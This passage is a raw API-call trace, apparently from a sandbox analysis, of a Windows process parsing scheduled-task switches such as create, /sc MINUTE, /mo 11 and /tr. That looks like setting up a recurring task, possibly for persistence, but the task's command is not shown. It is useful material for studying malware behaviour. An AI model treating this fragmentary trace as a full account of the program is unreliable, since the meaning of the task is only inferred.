_BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.696] lstrlenW (lpString="|s|") returned 3 [0127.696] lstrlenW (lpString="|sc|") returned 4 [0127.696] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.696] lstrlenW (lpString="u") returned 1 [0127.696] lstrlenW (lpString="u") returned 1 [0127.696] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.696] lstrlenW (lpString="sc") returned 2 [0127.696] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.696] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|u|") returned 3 [0127.696] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.696] lstrlenW (lpString="|u|") returned 3 [0127.696] lstrlenW (lpString="|sc|") returned 4 [0127.696] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.696] lstrlenW (lpString="p") returned 1 [0127.696] lstrlenW (lpString="p") returned 1 [0127.696] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.696] lstrlenW (lpString="sc") returned 2 [0127.696] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.696] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|p|") returned 3 [0127.696] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.696] lstrlenW (lpString="|p|") returned 3 [0127.696] lstrlenW (lpString="|sc|") returned 4 [0127.696] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.696] lstrlenW (lpString="ru") returned 2 [0127.697] lstrlenW (lpString="ru") returned 2 [0127.697] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.697] lstrlenW (lpString="sc") returned 2 [0127.697] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.697] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ru|") returned 4 [0127.697] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.697] lstrlenW (lpString="|ru|") returned 4 [0127.697] lstrlenW (lpString="|sc|") returned 4 [0127.697] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0127.697] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.697] lstrlenW (lpString="rp") returned 2 [0127.697] lstrlenW (lpString="rp") returned 2 [0127.697] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.697] lstrlenW (lpString="sc") returned 2 [0127.697] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.697] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|rp|") returned 4 [0127.697] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.697] lstrlenW (lpString="|rp|") returned 4 [0127.697] lstrlenW (lpString="|sc|") returned 4 [0127.697] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0127.697] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.697] lstrlenW (lpString="sc") returned 2 [0127.697] lstrlenW (lpString="sc") returned 2 [0127.697] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.697] lstrlenW (lpString="sc") returned 2 [0127.697] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.698] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.698] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.698] lstrlenW (lpString="|sc|") returned 4 [0127.698] lstrlenW (lpString="|sc|") returned 4 [0127.698] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] lstrlenW (lpString="MINUTE") returned 6 [0127.698] lstrlenW (lpString="-/") returned 2 [0127.698] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] lstrlenW (lpString="MINUTE") returned 6 [0127.698] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.698] GetProcessHeap () returned 0x1eb77c10000 [0127.698] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x18) returned 0x1eb77c1a920 [0127.698] _memicmp (_Buf1=0x1eb77c1a920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.698] lstrlenW (lpString="MINUTE") returned 6 [0127.698] GetProcessHeap () returned 0x1eb77c10000 [0127.698] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0xe) returned 0x1eb77c1aae0 [0127.698] lstrlenW (lpString="MINUTE") returned 6 [0127.698] lstrlenW (lpString=" \x09") returned 2 [0127.698] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0127.698] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0127.698] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0127.698] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0127.698] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0127.699] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0127.699] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0127.699] GetLastError () returned 0x0 [0127.699] lstrlenW (lpString="MINUTE") returned 6 [0127.699] lstrlenW (lpString="MINUTE") returned 6 [0127.699] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.699] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.699] lstrlenW (lpString="/mo") returned 3 [0127.699] lstrlenW (lpString="-/") returned 2 [0127.699] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.699] lstrlenW (lpString="create") returned 6 [0127.699] lstrlenW (lpString="create") returned 6 [0127.699] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.699] lstrlenW (lpString="mo") returned 2 [0127.699] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.699] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.699] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.699] lstrlenW (lpString="|create|") returned 8 [0127.699] lstrlenW (lpString="|mo|") returned 4 [0127.699] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0127.699] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.699] lstrlenW (lpString="?") returned 1 [0127.700] lstrlenW (lpString="?") returned 1 [0127.700] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.700] lstrlenW (lpString="mo") returned 2 [0127.700] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.700] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|?|") returned 3 [0127.700] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.700] lstrlenW (lpString="|?|") returned 3 [0127.700] lstrlenW (lpString="|mo|") returned 4 [0127.700] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.700] lstrlenW (lpString="s") returned 1 [0127.700] lstrlenW (lpString="s") returned 1 [0127.700] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.700] lstrlenW (lpString="mo") returned 2 [0127.700] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.700] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|s|") returned 3 [0127.700] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.700] lstrlenW (lpString="|s|") returned 3 [0127.700] lstrlenW (lpString="|mo|") returned 4 [0127.700] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.700] lstrlenW (lpString="u") returned 1 [0127.700] lstrlenW (lpString="u") returned 1 [0127.700] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.700] lstrlenW (lpString="mo") returned 2 [0127.703] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.703] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|u|") returned 3 [0127.703] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.703] lstrlenW (lpString="|u|") returned 3 [0127.703] lstrlenW (lpString="|mo|") returned 4 [0127.703] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.703] lstrlenW (lpString="p") returned 1 [0127.703] lstrlenW (lpString="p") returned 1 [0127.703] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.703] lstrlenW (lpString="mo") returned 2 [0127.703] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.703] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|p|") returned 3 [0127.703] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.703] lstrlenW (lpString="|p|") returned 3 [0127.703] lstrlenW (lpString="|mo|") returned 4 [0127.703] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.703] lstrlenW (lpString="ru") returned 2 [0127.703] lstrlenW (lpString="ru") returned 2 [0127.703] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.703] lstrlenW (lpString="mo") returned 2 [0127.703] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.704] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ru|") returned 4 [0127.704] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.704] lstrlenW (lpString="|ru|") returned 4 [0127.704] lstrlenW (lpString="|mo|") returned 4 [0127.704] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0127.704] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.704] lstrlenW (lpString="rp") returned 2 [0127.704] lstrlenW (lpString="rp") returned 2 [0127.704] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.704] lstrlenW (lpString="mo") returned 2 [0127.704] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.704] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|rp|") returned 4 [0127.704] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.704] lstrlenW (lpString="|rp|") returned 4 [0127.704] lstrlenW (lpString="|mo|") returned 4 [0127.704] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0127.704] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.704] lstrlenW (lpString="sc") returned 2 [0127.704] lstrlenW (lpString="sc") returned 2 [0127.704] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.704] lstrlenW (lpString="mo") returned 2 [0127.704] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.704] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.704] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.704] lstrlenW (lpString="|sc|") returned 4 [0127.704] lstrlenW (lpString="|mo|") returned 4 [0127.705] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] lstrlenW (lpString="mo") returned 2 [0127.705] lstrlenW (lpString="mo") returned 2 [0127.705] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.705] lstrlenW (lpString="mo") returned 2 [0127.705] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.705] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.705] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.705] lstrlenW (lpString="|mo|") returned 4 [0127.705] lstrlenW (lpString="|mo|") returned 4 [0127.705] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] lstrlenW (lpString="11") returned 2 [0127.705] lstrlenW (lpString="-/") returned 2 [0127.705] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] lstrlenW (lpString="11") returned 2 [0127.705] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.705] _memicmp (_Buf1=0x1eb77c1a920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.705] lstrlenW (lpString="11") returned 2 [0127.705] lstrlenW (lpString="11") returned 2 [0127.705] lstrlenW (lpString=" \x09") returned 2 [0127.706] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0127.706] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0127.706] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0127.706] GetLastError () returned 0x0 [0127.706] lstrlenW (lpString="11") returned 2 [0127.706] lstrlenW (lpString="11") returned 2 [0127.706] GetProcessHeap () returned 0x1eb77c10000 [0127.706] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x6) returned 0x1eb77c13c90 [0127.706] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.706] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.706] lstrlenW (lpString="/tr") returned 3 [0127.706] lstrlenW (lpString="-/") returned 2 [0127.706] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.706] lstrlenW (lpString="create") returned 6 [0127.706] lstrlenW (lpString="create") returned 6 [0127.706] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.706] lstrlenW (lpString="tr") returned 2 [0127.706] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.706] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.706] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.706] lstrlenW (lpString="|create|") returned 8 [0127.706] lstrlenW (lpString="|tr|") returned 4 [0127.706] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0127.706] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.706] lstrlenW (lpString="?") returned 1 [0127.706] lstrlenW (lpString="?") returned 1 [0127.706] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.706] lstrlenW (lpString="tr") returned 2 [0127.707] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.707] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|?|") returned 3 [0127.707] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.707] lstrlenW (lpString="|?|") returned 3 [0127.707] lstrlenW (lpString="|tr|") returned 4 [0127.707] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.707] lstrlenW (lpString="s") returned 1 [0127.707] lstrlenW (lpString="s") returned 1 [0127.707] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.707] lstrlenW (lpString="tr") returned 2 [0127.707] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.707] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|s|") returned 3 [0127.707] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.707] lstrlenW (lpString="|s|") returned 3 [0127.707] lstrlenW (lpString="|tr|") returned 4 [0127.707] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.707] lstrlenW (lpString="u") returned 1 [0127.707] lstrlenW (lpString="u") returned 1 [0127.707] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.707] lstrlenW (lpString="tr") returned 2 [0127.707] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.707] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|u|") returned 3 [0127.707] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.707] lstrlenW (lpString="|u|") returned 3 [0127.707] lstrlenW (lpString="|tr|") returned 4 [0127.707] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.708] lstrlenW (lpString="p") returned 1 [0127.708] lstrlenW (lpString="p") returned 1 [0127.708] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.708] lstrlenW (lpString="tr") returned 2 [0127.708] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.708] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|p|") returned 3 [0127.708] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.708] lstrlenW (lpString="|p|") returned 3 [0127.708] lstrlenW (lpString="|tr|") returned 4 [0127.708] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.708] lstrlenW (lpString="ru") returned 2 [0127.708] lstrlenW (lpString="ru") returned 2 [0127.708] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.708] lstrlenW (lpString="tr") returned 2 [0127.708] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.708] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ru|") returned 4 [0127.708] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.708] lstrlenW (lpString="|ru|") returned 4 [0127.708] lstrlenW (lpString="|tr|") returned 4 [0127.708] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0127.708] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.708] lstrlenW (lpString="rp") returned 2 [0127.708] lstrlenW (lpString="rp") returned 2 [0127.708] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.708] lstrlenW (lpString="tr") returned 2 [0127.708] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.709] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|rp|") returned 4 [0127.709] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.709] lstrlenW (lpString="|rp|") returned 4 [0127.709] lstrlenW (lpString="|tr|") returned 4 [0127.709] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0127.709] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.709] lstrlenW (lpString="sc") returned 2 [0127.709] lstrlenW (lpString="sc") returned 2 [0127.709] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.709] lstrlenW (lpString="tr") returned 2 [0127.709] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.709] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.709] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.709] lstrlenW (lpString="|sc|") returned 4 [0127.709] lstrlenW (lpString="|tr|") returned 4 [0127.709] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0127.709] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.709] lstrlenW (lpString="mo") returned 2 [0127.709] lstrlenW (lpString="mo") returned 2 [0127.709] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.709] lstrlenW (lpString="tr") returned 2 [0127.709] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.709] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.709] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.709] lstrlenW (lpString="|mo|") returned 4 [0127.709] lstrlenW (lpString="|tr|") returned 4 [0127.710] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0127.710] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.710] lstrlenW (lpString="d") returned 1 [0127.710] lstrlenW (lpString="d") returned 1 [0127.710] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.710] lstrlenW (lpString="tr") returned 2 [0127.710] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.710] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|d|") returned 3 [0127.710] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.710] lstrlenW (lpString="|d|") returned 3 [0127.710] lstrlenW (lpString="|tr|") returned 4 [0127.710] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.710] lstrlenW (lpString="m") returned 1 [0127.710] lstrlenW (lpString="m") returned 1 [0127.710] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.710] lstrlenW (lpString="tr") returned 2 [0127.710] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.710] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|m|") returned 3 [0127.710] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.710] lstrlenW (lpString="|m|") returned 3 [0127.710] lstrlenW (lpString="|tr|") returned 4 [0127.710] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.710] lstrlenW (lpString="i") returned 1 [0127.710] lstrlenW (lpString="i") returned 1 [0127.710] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.710] lstrlenW (lpString="tr") returned 2 [0127.710] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.711] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|i|") returned 3 [0127.711] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.711] lstrlenW (lpString="|i|") returned 3 [0127.711] lstrlenW (lpString="|tr|") returned 4 [0127.711] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.711] lstrlenW (lpString="tn") returned 2 [0127.711] lstrlenW (lpString="tn") returned 2 [0127.711] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.711] lstrlenW (lpString="tr") returned 2 [0127.711] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.711] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.711] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.711] lstrlenW (lpString="|tn|") returned 4 [0127.711] lstrlenW (lpString="|tr|") returned 4 [0127.711] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") 